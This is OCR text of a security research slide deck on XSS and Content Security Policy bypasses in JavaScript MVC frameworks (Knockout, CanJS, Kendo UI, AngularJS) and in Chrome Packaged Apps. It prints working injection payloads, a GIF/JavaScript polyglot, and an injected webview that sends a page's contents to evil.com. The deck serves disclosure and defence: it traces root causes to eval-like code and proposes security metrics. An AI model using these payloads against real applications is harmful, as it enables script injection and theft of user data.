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Today

« JavaScript MVC & Templating Frameworks

« Why? Because they are becoming popular
* Yes, we have numbers, wait for it...
 And they are special

* Are there security flaws?
 If yes (nen..it.) what can we learn from them?

]
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@ @ B3~ angulatr js usage

Q eg techcrunch.com or Magento

Home > Trends = JavaScript Libraries and Functions > Angular J5 Usage Statistics

Angular JS Usage Statistics Dacload et

WEbSItGS USl ng Angu |a F JS Angular |5 which includes location
information, hosting data, contact
details and more,

4 Switch Chart Data
e All Data
160 /'\. Top 10k Sites

140 /. Top 100k Sites
120 Top Million Sites

80 .\ / Coverage Totals

L] Quantcast Top 10k
40 * .---"'/ 26 of 10,000 0'3%
10 ./-
/ ° Quantcast Top 100k 0,
20 /._-_.""‘_' /" 109 of 100,000 0.1%

"—"‘/ \._./ /.__--.___.___.____ Quantcast Top Million <0-1 %

>

236 of 858,545

Builtwith Top Sites <0'1 DI'ID

747 of 1,957,269

Legend

Most of Internet
=8~ Top 10,000 Sites =e=Top 100,000 Sites =#= Top 1 Million Sites e 5 <0.1%
4,113 of BD,957,269
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What are they

« Written in JavaScript

« Often huge

« Often very complex

« Often maintained by corporations

 Interfaces to enable different coding styles
 Extending, optimizing, changing

« The way developers work with JavaScript

« The way web applications used to work

]
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What do they do?

» Claims
» “More productive out of the box” embens

 “Angular]S lets you extend HTML vocabulary
for your application” anguans

« “Fast templates, responsive widgets” cans

« “Simple and intuitive, powerful and
extensible, lightning fast” jsender

]
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Examples

<script type="text/x-handlebars"> App = Ember.Application.create();

{{outlet}} App.Person = Ember.0Object.extend({
firstName: null, lastName: null,
fullName: function() {

</script>
<script type="text/x-handlebars"

id="x"> return this.get('firstName') +

<h1>People</hl> T—thls.get( lastName');
}.property('firstName', 'lastName')
<ul> "
{{#each model}} App.IndexRoute = Ember.Route.extend({
<li>Hello, <b>{{fullName}}</b>! model: function() {

</11> var people = [
{{/each}} App.Person.create({
</ul> firstName: "Frank",

</script> lastName: "N. Stein"
) 1 E:!:;
return people; » -
) 'e’"I;e'L

]
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Examples

<!doctype html>
<html ng-app>
<head>
<script src="angular.min.js"></script>
</head>
<body>
<div>
<label>Name:</label>
<input type="text" ng-model="yourName" placeholder="Your name">
<hr>
<hl>Hello {{yourName}}'!'</hl>
</div>
</body>
</html>

]
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Examples

<div class="liveExample" id="x">
<select data-bind="options: tickets,
optionsCaption: 'Choose..."', BI dl q +M-F-F
optionsText: 'name', v\ v\ S

value: chosenTicket">

<option value="">Economy</option>
<option value="">Business</option>
<option value="">First Class</option>

</select>
<button data-bind="enable: chosenTicket,

click: resetTicket" disabled="">Clear</button>
<p data-bind="with: chosenTicket"></p>

<script type="text/javascript">

function TicketsViewModel() {

this.tickets = [ p b .|_ |
{ name: "Economy", price: 199.95 }, O\W 0\ 0\

{ name: "Business", price: 449.22 },
{ name: "First Class", price: 1199.99 }
1;
this.chosenTicket = ko.observable();
this.resetTicket = function() { this.chosenTicket(null) }
}
ko.applyBindings(new TicketsViewModel(), document.getElementById("x"));
</script>
</div>

Puttin it togetha a1
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So..

« JSMVC Frameworks do the following

 They extend the DOM
 They “abstractify” the DOM
 They provide new interfaces

 They often use script-templates o “data biocks”

“The script element allows authors to include

dynamic script and data blocks in their documents.” wratwe
- Often Mustache-style

- Sometimes ERB-style

- Sometimes something completely different

 They often use markup-sugar

- Custom elements, <hellokitty>
- HTML5 data attributes

HTML5
Approved!

]
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Mustache

. Specified in 2009 by Y

Wanstrath A

Logic-less templates.

: tuff
{ { >tu } } Available in Ruby, JavaScript, Python,
. Erlang, PHP, Perl, Objective-C, Java, .NET,
° { {#l S_t rue } } Android, C++, Go, Lua, ooc, ActionScript,

ColdFusion, Scala, Clojure, Fantom,

B -l_ a { { / ]_ S tr ue } CoffeeScript, D, and for node.]s.

Works great with TextMate, Vim, Emacs, and
Coda.

The Manual: mustache(5) and mustache(1)

Demo

hg:
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JSMVC and Security

* Initial rationale for security research
« It's trending, it's complex, it's different
« What else do we need... nothing

 Poke-first, analyze later

« Pick a target, thanks TodoMVC!
« Explore debugging possibilities

 Goal: Execute arbitrary JavaScript, maybe more
« Using the JSMVC capabilities
« Using otherwise uncommon ways
« Assume injection, assume conventional XSS filter

- After poking, derive a metric for JSMMVC security

]
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http://todomvc.com/

Pokes

 Why not start with Knockout)S

<script src="knockout-2.3.0.js"></script>
<div data-bind="x:alert(1l)" />
<script>

ko.applyBindings();

</script>

nockout. I

]
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Wait...

« JavaScript from within a data-attribute?
 No extra magic, just the colon?

 That's right
« See where we are heading with this?

« Knockout knocks out XSS filters

« |E's XSS Filter
« Chrome's XSS Auditor
« Anything that allows data attributes

 This behavior breaks existing security assumptions!

]
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FACEPALM

you are doing it wrong




The reason

« “eval” via “Function”
parseBindingsString: function(b, c, d) {
try {
var f;
if (!'(f = this.Na[b])) {

var g = this.Na, e, m = "with($context){with($data||{}){return{"
+ a.g.ea(b) + "}}}";

e = new Function("$context", "$element", m);
f = glb] = e

}

return f(c, d)

} catch (h) {

throw h.message = "Unable to parse bindings.\nBindings value: " + b +
"\nMessage: " + h.message, h;

}

]
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Keep pokin'
« CanJS for example

<script src="jquery-2.0.3.min.js"></script>

<script src="can.jquery.js"></script>

<body>
<script type="text/ejs" id="todoList">
<%==(%$a)->abc})-alert(1l)-can.proxy(function(){%>
</script>

<script>

can.view('todoList', {}); Canjs

</script>
M
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Reason

« A copy of “eval” called “myEval”

myEval = function(script) {
eval(script);
b

[...]
var template = buff.join('"'),

out = {

out: 'with( VIEW) { with (_CONTEXT) {' + template + " " + finishTxt +
II}}II
}i

// Use “eval instead of creating a function, because it is easier to debug.

myEval.call(out, 'this.fn = (function( CONTEXT, VIEW){' + out.out +
'});\r\n//@ sourceURL=' + name + ".jjs");

return out; .
M
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And even more...

<script src="jquery-1.7.1.min.js"></script>
<script src="kendo.all.min.js"></script>

<div id="x"># alert(1l) #</div>

<script>
var template = kendo.template($("#x").html());
var tasks = [{ 1d: 1}];
var dataSource = new kendo.data.DataSource({ data: tasks });
dataSource.bind("change", function(e) {
var html = kendo.render(template, this.view());

1)

dataSource.read();

</script> q%; !f
¥/ Kendo Ul

THE ART OF WEB DEVELOPMENT




Keeeeep Pokin'

« Angular]S 1.1.x

<script src="angular.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1l)')()}}

</div>

e Or this - even with encoded mustaches

<script src="angular.min.js"></script>

<div class="ng-app">
&#x7b; &#x7b; constructor.constructor('alert(l) ') ()&#x7d; &#x7d;

</div>
hoi [



Reason

- “eval” via “Function”

var code = 'var 1, fn, p;\n';
forEach(pathKeys, function(key, index) {
code += 'if(s === null || s === undefined) return s;\n' +
"I=s;\n" +

's=' + (index
// we simply dereference 's' on any .dot notation
? 's!
// but if we are first then we check locals first, and if so read it first
' ((k&&k.hasOwnProperty ("' + key + '"))?k:s)') + "["" + key + '"]' + ';\n' +

[.]

I}\nl +
' s=s.$$v\n' +
I}\nl;

});

code += 'return s;"';

fn = Function('s', 'k', code); // s=scope, k=locals
fn.toString = function() {

return code;

hg1:
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Sadly for the attacker...

w AngularJsS L~ W Follow
angularjs - = -
* They fixed it in 1.2.x
Thanks to .mario ((@0x6D6172696F) for his
update to mustache-security for AngularJS

1.2.0. code.google.com/p/mustache-sec... L Da mm it!

4~ Reply T3 Retweet W Favorite eee More

1 . DEBALO0DRDE e Good test-cases too! Look...

Reply to @angularjs

function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast .. other contexts
if (obj && obj.constructor === obj) {

throw $parseMinErr('isecfn', 'Referencing Function in Angular

expressions is disallowed!Expression: {0}', fullExpression);

} else {
Horst Gortz Institut B _
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http://gitelephant.cypresslab.net/angular-js/commit/5349b20097dc5cdff0216ee219ac5f6e6ef8c219

Not that hard to solve

var foo
foo.bar
foo.baz

console.
console.
console.
console.
console.

= {};

= 123;

= 450;

log(foo.hasOwnProperty('bar')); // true
log(foo.hasOwnProperty('baz')); // true
log(foo.hasOwnProperty('constructor')); // false

log(foo.hasOwnProperty(' proto_')); // false
log(foo.hasOwnProperty('prototype’')); // false

]
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CSP

e Most of the JSMVC will not work with CSP
o At least not without unsafe-eval
 That's not gonna help evangelize CSP

 Although there's hope - AngularjS

]
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Angular]S

« Features a special CSP mode

« Said to be 30% slower

« But enables Anqgular]S to work

« Even without unsafe-eval or other nasties
 Magick!

It also brings back script injections

]
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<?php
header ('X-Content-Security-Policy: default-src \'self\');
header('Content-Security-Policy: default-src \'self\');
header ('X-Webkit-CSP: default-src \'self\');
7>

Proper CSPI

<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
</head>

<body onclick="alert(1l)">

Click me

<hl ng-mouseover="$event.view.alert(2)">
Hover me

</hl>

</body>




How do they do it?

|. Parse the “ng”-attributes

II. Slice out the relevant parts
lll. Create anonymous functions
V. Connect them with events

V. Wait for event handler to fire

$element.onclick=function($event){

$event['view']['alert']('1")

« It's technically not in-line
* Neither is any “eval” being used




So, enabling the JSMVC to work with CSP
(partly) kills the protection CSP delivers?

Aw, yeah, being a pen-tester these days!

]
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“Packaged apps deliver an experience as capable as a native
app, but as safe as a web page. Just like web apps, packaged
apps are written in HTMLD5, JavaScript, and CSS.”

Uhm. ..




“Packaged apps have access to Chrome APIs and services not
available to traditional web sites. You can build powerful apps
that interact with network and hardware devices, media tools,

and much more.”




It's bad

“Ever played with Chrome Packaged Apps?”

o0

Very powerful tools

Similar yet not equivalent to extensions
Melting the barrier between web and desktop
HTML + JS + many APIs

CSP enabled by default

And work great with Angular]S wfcourse

[ |
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Doing the Nasty

e Let's bypass CSP in CPA using Angular
 And escalate some privileges




Benign

<!doctype html>
<html ng-app ng-csp>
<head>
<script src="angular.min.js"></script>
<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2>Todo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>
</body>
</html>

The HTML of
our fancy app




Benign

function TodoCtrl($scope) {
$scope.todos = |
{text:'learn angular', done:true},
{text:'build an angular app', done:false}];

Our Controller
Code. AngularJS

$scope.remaining = function() {
var count = 0;
angular.forEach($scope.todos, function(todo) {
count += todo.done ? 0 : 1;

)

return count;

}i

$scope.archive
var oldTodos $scope.todos;
$scope.todos [1;
angular.forEach(oldTodos, function(todo) {
if (!'todo.done) $scope.todos.push(todo);
1)

function() {




Benign

"manlfest version": 2,

"name": "Lab3b MVC w1th controller", .
--perm@ssmns ["webview"], The va\l-Feg.h

version": "1",

"aEE":k{ d" { P . . +
ackground":
"scrqipts": ["main.js"] eva\ISSIOV\S OO

}
},

"icons": { "128": "icon.png" }

}

]
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Attacked

<!doctype html>
<html ng-app ng-csp>

e Oh, Shxtl
<script src="angular.min.js"></script> ) :

<script src="controller.js"></script>
<link rel="stylesheet" href="todo.css">
</head>
<body>
<h2 ng-click="invalid (
w=$event.view,
x=w.document.createElement('webview'),
x.src="http://evil.com/?'+w.btoa(w.document.body.innerHTML),
w.document.body.appendChild(x)
)">Todo-shmoodoo</h2>
<div ng-controller="TodoCtrl">
<span>{{remaining()}} of {{todos.length}} remaining</span>
[ <a href="" ng-click="archive()">archive</a> ]
<ul class="unstyled">
<li ng-repeat="todo in todos">
<input type="checkbox" ng-model="todo.done">
<span class="done-{{todo.done}}">{{todo.text}}</span>
</li>
</ul>
</div>

</body> i
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W Extensions * W

€& — C [ chromey//extensions

Chrome Extensions

ID: gmgdalelemcbdoclpkiakjfgbempble TOdD-ShmOO%)O

Loaded from: WWEBOXSVR\SharedFolderchrome-app-
Extensions codelabilab3_rmvchangularsiwithcontroller

History

1 of 2 remaining [ archive ]

. Inspect views: background page indexhtml learRargtar
Settings

Allow in incognite  Reload (Ctrl+R) Launch build an angular app

Help Developer Tools - chrome-extension://gmgdalelemobdoolpkiakjfgbempblefinde...

Elements Rsomcs'-ﬂdwuk-'ﬁourcs Timeline Profiles Audits Conscle

Mame M 5t
Path | Text

Size | Time
Conl | Late

== angular.mi... 200 index.... L .
£ ok P parser ffr.. 56 m

contraller.js index.... &5..

[fr...

Type | Initiator Timeline

Parser

todo.css index....
Parser

| DB transferred
® ©® (@) | Documents Stylesheets Images Scripts XHR | %§
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: o | [Bl] 2L
| & Bxtensions b3 -
& = O  [4 chrome://extensions iy E;IE Todo-shmoodoo
1 of 2 remaining [ archive ]
Chrome Extensions it

O®

build an angular app

History A Permissions

ID: grmgdalelemobdoolpkiakjjfgbempble

Extensions
. Loaded from: WWWEBOXSVR\SharedFolder chrome-app-
Settings codelabilab3_mvchangularjsiwithcontroller
Inspect views: background page index.html
Allow in incognito Reload (Ctrl+Rl Launch
Help — e =

Elements Resources | Metwork | Sources Timeline Profiles Audits Console

g:tﬂe :M :'IS"E}rt éTypeéInitiator ;?5:1;[2:::;_ Timeline -
angular.mi... GET iﬂ? e ﬁ... (.. SS:m =
controller.js GET ;UI? e ﬁ... e :jm -
(_I__é__'.% todo.css GET (230; e ﬁ... ... ::m 9

3 requests | 0B transferred

H, > Q = @ @ (00 | Documents Styleshests Images Scripts  XHR 4
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* root@mario-laptop-2: ~

File Edit View Search Terminal Help

192.168.101.175 - - ep/2013:12:24:12 +0200 ECiAQICABaDIgbmc
t¥2xpY259ImludmFsalWQoCiAgICAgQICAgQdzOkZXZ1bnQudmlldywkICAQICAQICAQICAgeD13LmRVY3V
tZW50LMNYZWFOZUVsZW11bnQoJ3d1lYnZpZXcnKSWKICAQICAQICAgQICAgICAgIHguc3]jPSdodHRWO18
vZXZpbC5jb2@vc25pZmYuanBnPycrdy5idGohKHcuZG9 jdW11lbnQuyYmokeSspbmslckhUTUwpLAOGICA
gICAQICAQICAQICAQICAQIHcUZGY2jdW1lbnQuYm9keS5hcHBLbmRDaGlsZCh4KQogICAQICAQICkKiP1R
vZG8tc2zhtb29kb288L2gyPgogICAgPGRpdiBuZy1jb250cm9sbGVyPSIUb2RVQ3RYybCIgY2xhc3M9Ims
NnLXNjb3BLI j4KICAQICAQPHNWYW4gY2xhc3M9Im5SnLWIpbmRpbmciPjEgb2YgMiByZW1haW5pbmc8L3N
WYW4+CiAgQICAQIFsgQPGEQaHI1ZjOiIiBuZy1jbGljaz0OiyX1jaGl2Z5gpIj5ShcmNoaXZ1PCOhPiBdCiA
gICAgIDx1bCBjbGFzcz@idW5zdH1sZWQiPgogICAQICAQIDWhLS®gbmdSZXB1lYXQ6IHRVZGBgaW4gdG9
kb3MgLSO+PGxpIG5nLXI1lcGvhdDO1dGokbyBpbiBOb2RvCYyIgY2xhc3M9Im5nLXNjb3B1I j4KICAgQICA
gICAgIDxpbnB1dCB@eXB1PSIjaGVjazlveCIgbmctbWOkZWwOINRVZGBUZGOUZSIgY2Xxhc3MIIM5NLXB
yaXN@aW51IG5nLXZhbG1lkI j4KICAQICAQICAQIDXZcGFUIGNSYXNzPSIkb251LXRydWUiPmx1YXJuIGF
UZ3VsYXI8L3NwYW4+C1lAgICAgQICAQPC9saT48bGkgbmctemVwZWFAOPSI0b2RVIGLUIHRVZG9ZI1BjbGF
zcz@ibmctc2NvcGUiPgogICAQICAQICAQPGLUCHVOIHRS5CGUOIMNOZWNIrYm94IiBuZy1tb2R1boO1dGo
kby5kb251IiBjbGFzcz@ibmctcHIpc3RpbmUgbmctdmFsaWQiPgogI CAQICAQICAgQPHNWYW4gY2xhe3M
9ImRvbmUtZmFsc2UiPmJ1aWxkIGFUIGFUZ3VsYXIgYXBWPC9zcGFUPgogICAQICAQIDWVbGk+CiAgICA
gIDWvdWw+CiAgQICASL2Rpd j4KICAKC jx3ZWI2aWV3IIHRhYmluZGV4PSIWIiBzcmM9ImhO@dHAGLY9ldml
sLmNvbS9zbmlmZi5qcGe /Q21BZOLDQThhRELnYm1jdFkyeHBZMnM5SW1sdWRtRNNRV1FVQ21BZO1DQWd
JQ@FnZHowalpYWmxib1lF1ZG1sbGR5dOtIQOFNSUNBZO1DQWdIQOFNZUQxMOxtUnZZM1ZOWLcIMEXETNL
aVOYWWIVWC1pXMWx1b1FvS jNkbFLuWnBaWGNuS1N3SO1DQWd IQOE Nyl ]2 s Bl [T BATL e |RIE P4 LTS
QU2RVZEhSd@9pOHZaWFpwYkM1amIyMHZ jMjVwim1ZdWFuQm5QekpyZHk 1aWRHOWhLSGN1Wkc5amRXMAx
1b1lF1WWA5a2VTNXBibTVsY2toVWRVA3IBMQWINSUNBZOLDOQWdIQAFNSUNBZO1DQWdIQOFnSUh jdVpHOWp
kvzFsym5RdV1toWtluzvVoyehCbGItUkRhR2xzWkNoNEtRb2dIQ@FNnSUNBZO1Da21QbFI2Wkc4dGMyaHR
iMjlrYjI40EwyZ31QZ29nSUNBZ1BHUNBkaUJ1WnkxamIyNTBjbT1lzYkdWeVBTS1IViMLI2UTNSeWIDSKd
ZMnhoYzNNOULtNWSMWESQY JNCbELgNELIQOFnSUNBZ1BITndZVZRNWTJ4aGMzTTLIbTVUTFdKcGItUnB
ibWNpUGPFZ2IyWWdNaUJ5WlcxaGFXNXBibWM4TDNOd11XNCtDaUFnSUNBZO1Gc2dQRAVNYURKDbFpgMGL
JaUJikWnkxamJHbGphe jBpWVhKamFHbDJaU2dwSWo1aGNtTmOhWFpsUEM5aFBpQmRDaUFNSUNBZO1EeDF
iQeJqvkdGemN6MGLkVZV6ZEhSc1pXUWLQZ29nSUNBZO1DQWdIRHdo TFMWZ2JtZFNaWEJsWVhRNk1IUNRZ
aRzhnYVc@Z2RHOWtiMO@1nTFMwK1BHeHBIRzVUTFhKbGNHVmhkRDBpZEc5a215QnBialIwyY jISdmN5SKd
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Happy testing -
there's a lot more to find!




For example this...

<div class="ng-include:'//g.pw'">




More CSP Bypasses

« And even a much better one

* Inject a class attribute
 Upload a GIF
 Get a free Angular)JS + HTML5 CSP Bypass

e Wanna see?

]
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GIF89%ad=1/*.d.......... 1.,*¥/;aler
t(l)/*<script src="test.gif"></scC

— L + | d | ript>.,.... d.d...S.... i,
\ e1's wpload a bic! o He Lttt L
EVERYBODY P P .. oo F oo N.....
DANCE NOW | P (8HXhx......... iX
«3<link rel="import" href="test.

gif" />*[]

lt's o valid 6IF but also
containg poaylond

<span
class="ng-include: 'test.gif'">

</span> Now we inject a class attribute
- Including the image as
HTMLI

[ 192168101184/ Test/cspt % W& |
€« C [ 192.168.101.184/Test/cspbypass/test2php  T¢| =
GIF89ad; The page at 192.168.101.184 says:

&% aler]
V0L

01074

9004

Now it inports itself

<link rel="import" href="test.gif">

"And pop goes the weosel"

Thereby loads itself ag JS

<script src="test.gif"></script> — hg1 M _

IShh



“It looks like we will agree to disagree on the importance of the
HTML imports issue -- we don't think it's possible for a third
party to execute arbitrary Javascript via the process you
describe, so the risk of unsanitized HTML would be one that the
developer was taking on deliberately.”




Quick Recap

 What have we seen today
« Rotten Markup-Sugar
e JavaScript exec. from data-attributes
« JavaScript exec. from any element

JavaScript exec. within encoded mustache
A full-blown CSP Bypass
The reasons for all these

Oh - and an attack against Chrome Packaged Apps
 And it was just the tip of the iceberg

* Lots of “eval” and bad coding practices

]
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“Markup-Sugar
considered
dangerous”
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Metrics

« While root causes persist, new challenges arise
« We need to build metrics
« After having analyzed 12 frameworks: Here's a proposal

{}SEC-A Are template expressions equivalent to a JavaScript eval?
{}SEC-B Is the the execution scope well isolated or sand-boxed?
{}SEC-C Can arbitrary HTML elements serve as template containers?

{}SEC-D Does the framework allow, encourage or even enforce
separation of code and content?

{}SEC-E Does the framework maintainer have a security response
program?

{}SEC-F Does the Framework allow safe CSP rules to be used

]
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[ﬁ mustache-security - A wiki ded...
% @ https://code.google.com/p/mustache-security/ 7@ B~ Google Q J} @ ..

My favorites » | Sign in

ﬁ mustache-security

A wiki dedicated to JavaScript MVC security pitfalls Search projects

Project Home Wiki Issues Source

Summary People

Project Information This place will host a collection of security tips and tricks for JavaScript MVC frameworks and templating libraries.

Project feeds

Our focus will on shedding light on the numerous novel ways to abuse common MVC frameworks to execute arbitrary JavaScript in unexpected
Code license situations. We further aim to be able to find a metric for the security of JS MVC frameworks and allow penetration testers as well as developers
Other Open Source to save time on attacking and hardening JS MV C-based applications and apps.

See source for details

Currently. the following qualifiers are used to estimate a framework's security level:
Content license

Creative Commons 3.0 BY * {}SEC-A Are template expressions executed without using eval or Function? (yes = pass)
Labels * {}SEC-B Is the the execution scope well isolated or sand-boxed? (yes = pass)
¥ss., MVC, mustache, + {}SEC-C Can only script elements serve as template containers? (yes = pass)
JavaScript + {}SEC-D Does the framework allow, encourage or even enforce separation of code and content? (yes = pass)
+ {}SEC-E Does the framework maintainer have a security response program? (yes = pass)
£% Members * [}SEC-F Does the Framework allow or encourage safe CSP rules to be used (yes = pass)

ma...Ecure53.de
The project is in the earliest of possible alpha stages - don't expect anything useful before late 2013, early 2014 - a lot of research-in-progress.

Mote: We try to maintain this project as good as we can in our spare time. We might (and will) make mistakes - if you spot one let us

know please! We'll fix it then. Projects like this cannot live without active participation - don't be a grump, tell us what we did wrong if
you feel we did.

hg1:
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https://code.google.com/p/mustache-security/

Conclusion

« ]ISMVC requires new security requirements

* No reflected content from the server within template containers
« Sometimes, everything is a template container

« Strict separation is necessary

« And there is hope!
Maybe JSMVC eliminates XSS
Because it changes how we design applications.

And does by boosting and not hindering productivity

Interested in collaborating on this? Contact me!

]

hg1
Horst Gortz Institut B
flir IT-Sicherheit B



The End

e Questions?
e Comments?
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